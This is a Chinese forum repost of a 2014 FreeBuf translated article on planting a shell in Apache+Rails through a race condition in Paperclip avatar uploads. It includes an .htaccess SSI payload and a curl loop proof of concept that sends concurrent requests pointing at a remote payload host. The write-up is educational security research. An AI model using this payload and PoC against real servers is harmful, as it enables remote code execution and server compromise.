搜索

[8479] 2014-12-09_有趣的安全实验：利用多线程资源竞争技术上传shell

文档创建者：s7ckTeam
浏览次数：57
最后更新：2025-01-17
2014-12-09_有趣的安全实验：利用多线程资源竞争技术上传shell 有 趣 的 安 全 实 验 ： 利 用 多 线 程 资 源 竞 争 技 术 上 传 s h e l l d a w n e r   F r e e B u f   2 0 1 4 - 1 2 - 0 9 通 过 多 线 程 资 源 竞 争 的 手 段 同 时 上 传 两 个 头 像 ， 就 可 以 在 A p a c h e + R a i l s 环 境 下 实 现 远 程 代 码 执 行 。 这 并 不 是 天 方 夜 谭 ， 同 时 我 相 信 许 多 文 件 上 传 系 统 都 会 有 这 个 漏 洞 … … 这 是 一 个 非 常 有 趣 的 安 全 实 验 ， 一 起 来 看 看 吧 ! F r e e B u f 小 科 普 ： 小 科 普 ： R a i l s ： 某 种 基 于 R u b y 语 言 的 高 效 W E B 框 架 。 P a p e r c l i p ： T h o u g h t b o t 公 司 出 品 的 R a i l s 图 片 上 传 插 件 。 . h t a c c e s s ： A p a c h e 服 务 器 中 的 一 个 配 置 文 件 ， 笼 统 地 说 ， . h t a c c e s s 可 以 帮 我 们 实 现 包 括 ： 文 件 夹 密 码 保 护 、 用 户 自 动 重 定 向 、 自 定 义 错 误 页 面 、 改 变 你 的 文 件 扩 展 名 、 封 禁 特 定 I P 地 址 的 用 户 、 只 允 许 特 定 I P 地 址 的 用 户 、 禁 止 目 录 列 表 ， 以 及 使 用 其 他 文 件 作 为 i n d e x 文 件 等 一 些 功 能 。 实 验 背 景 实 验 背 景 十 个 月 以 前 ， 我 写 了 一 份 P a p e r c l i p 的 漏 洞 报 告 （ 利 用 版 本 号 不 高 于 3 . 5 . 3 ） ， 该 漏 洞 虽 然 简 单 但 威 力 不 俗 ， 我 们 可 以 通 过 伪 造 C o n t e n t - T y p e 头 部 内 容 ， 使 用 任 意 扩 展 进 行 文 件 上 传 。 但 是 P a p e r c l i p 官 方 却 只 是 认 为 这 是 小 问 题 — — 他 们 只 把 这 个 漏 洞 当 作 了 一 个 跨 站 脚 本 漏 洞 （ X S S ） 。 好 吧 ， 小 问 题 ！ 但 据 我 的 研 究 ， 其 实 它 是 一 个 高 危 代 码 执 行 漏 洞 ！ 我 在 这 里 需 要 讲 一 讲 ， 在 A p a c h e + R a i l s 环 境 下 实 现 的 这 个 有 趣 的 攻 击 实 例 。 利 用 利 用 . h t a c c e s s 作 为 作 为 s h e l l 根 据 R a i l s 框 架 的 特 性 ， . p h p 或 者 . p l 文 件 默 认 都 不 会 被 执 行 。 不 过 大 家 应 该 知 道 ， 在 默 认 情 况 下 网 站 目 录 下 的 . h t a c c e s s 文 件 可 以 覆 盖 A p a c h e 的 全 局 设 置 ， 尤 其 在 A p a c h e   2 . 3 . 8 或 者 更 早 的 版 本 ， 服 务 器 会 遵 循 A l l o w O v e r r i d e A l l 的 规 则 。 最 初 我 试 图 创 建 一 个 自 包 含 的 . h t a c c e s s   s h e l l ， 但 一 直 没 起 作 用 。 A p a c h e 不 会 把 S S I 处 理 器 应 用 到 . h t a c c e s s 文 件 上 ， 而 是 运 用 到 特 定 名 字 的 . h t a c c e s s 上 （ 如 下 文 中 的 1 . h t a c c e s s ） ： < F i l e s   ~   " ^ . h t " >   R e q u i r e   a l l   g r a n t e d       #   O r d e r   a l l o w , d e n y       #   A l l o w   f r o m   a l l < / F i l e s > O p t i o n s   + I n c l u d e s A d d T y p e   t e x t / h t m l   . h t a c c e s s A d d O u t p u t F i l t e r   I N C L U D E S   . h t a c c e s s A d d T y p e   t e x t / h t m l   . s h t m l A d d O u t p u t F i l t e r   I N C L U D E S   . s h t m l # < ! - - # p r i n t e n v   - - > 这 种 配 置 意 味 着 我 们 需 要 准 备 两 个 文 件 （ 用 于 伪 造 头 像 文 件 ） ： . h t a c c e s s 和 1 . h t a c c e s s ， 而 且 它 们 必 须 “ 并 发 上 传 ” 。 什 么 ， 你 说 这 不 可 能 ？ 那 欢 迎 你 来 了 解 下 并 发 的 技 术 。 原 理 分 析 原 理 分 析 在 实 验 的 时 候 ， 我 发 现 每 个 文 件 上 传 系 统 都 做 了 单 独 的 认 证 。 比 如 当 注 册 用 户 在 上 传 头 像 时 ， 都 会 经 过 认 证 。 当 上 传 结 束 ， 现 有 的 头 像 就 会 被 删 除 掉 。 但 大 多 数 的 这 类 系 统 ， 并 没 有 对 此 进 行 严 格 审 查 ， 这 让 同 时 上 传 多 个 头 像 成 为 可 能 。
这 里 假 设 我 们 当 前 的 头 像 为 0 . j p g ， 而 5 个 同 时 发 出 的 请 求 包 里 所 含 的 文 件 名 分 别 为 1 . j p g   –   5 . j p g 。 系 统 会 把 这 些 图 片 文 件 上 传 到 在 “ / u p l o a d s / u s e r / % i d % ” 目 录 下 ， 然 后 再 删 除 当 前 头 像 0 . j p g 。 当 然 ， 替 换 0 . j p g 的 文 件 可 能 是 它 们 中 的 任 何 一 个 ， 因 为 处 理 某 个 请 求 同 时 进 行 替 换 操 作 的 几 率 是 不 定 的 ， 只 有 最 后 执 行 的 请 求 会 在 数 据 库 生 效 。 最 终 存 放 该 用 户 头 像 的 文 件 夹 会 同 时 存 在 1 . j p g   –   5 . j p g ， 没 有 成 为 头 像 的 那 四 个 图 片 文 件 ， 没 有 被 程 序 删 除 。 这 个 漏 洞 如 果 被 巧 妙 利 用 的 话 ， 可 以 将 网 站 服 务 器 的 空 间 撑 满 : ） 并 发 上 传 获 得 s h e l l 1 . 准 备 一 个 带 有 . h t a c c e s s 的 p a y l o a d 的 U R L 地 址 ， 或 者 干 脆 用 我 的 ： h t t p : / / s a k u r i t y . c o m / . h t a c c e s s 或 者 h t t p : / / s a k u r i t y . c o m / N U M . h t a c c e s s 2 . 用 顺 手 的 工 具 ， 炮 制 几 个 同 时 发 出 的 头 像 上 传 的 请 求 包 。 如 果 你 喜 欢 使 用 c u r l 的 话 ， 借 用 以 下 代 码 会 上 传 5 个 . h t a c c e s s （ 当 然 ， 需 要 的 话 还 可 以 改 上 限 ） 。 利 用 P O C 代 码 如 下 ： f o r   i   i n   { 1 . . 5 } ; d o c u r l   ' h t t p : / / l h : 9 2 9 2 / u s e r s '   - H   < H E A D E R S >   - - d a t a   ' u t f 8 = % E 2 % 9 C % 9 3 & _ m e t h o d = p u t & a u t h e n t i c i t y _ t o k e n = T O K E N % 3 D & u s e r % 5 B a v a t a r % 5 D = h t t p % 3 A % 2 F % 2 F s a k u r i t y . c o m % 2 F ' " $ i " ' . h t a c c e s s '   & c u r l   ' h t t p : / / l h : 9 2 9 2 / u s e r s '   - H   < H E A D E R S >   - - d a t a   ' u t f 8 = % E 2 % 9 C % 9 3 & _ m e t h o d = p u t & a u t h e n t i c i t y _ t o k e n = T O K E N % 3 D & u s e r % 5 B a v a t a r % 5 D = h t t p % 3 A % 2 F % 2 F s a k u r i t y . c o m % 2 F . h t a c c e s s '   & d o n e 上 传 的 目 录 可 能 会 变 成 下 面 这 样 。 另 外 ， 不 是 所 有 的 请 求 都 会 成 功 ， 我 这 里 只 创 建 了 八 个 任 务 （ p u m a   - w   8 ） 。 在 这 里 ， 可 以 看 到 s h e l l 已 经 存 在 : h t t p : / / l h : 9 2 9 2 / s y s t e m / u s e r s / a v a t a r s / 0 0 0 / 0 0 0 / 0 0 1 / o r i g i n a l / 1 . h t a c c e s s 希 望 这 个 技 巧 和 思 路 对 你 有 所 帮 助 。 [ 参 考 来 源 h o m a k o v ， 由 F r e e B u f 小 编 d a w n e r 翻 译 整 理 ， 转 载 须 注 明 来 自 F r e e B u f . C O M ] 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理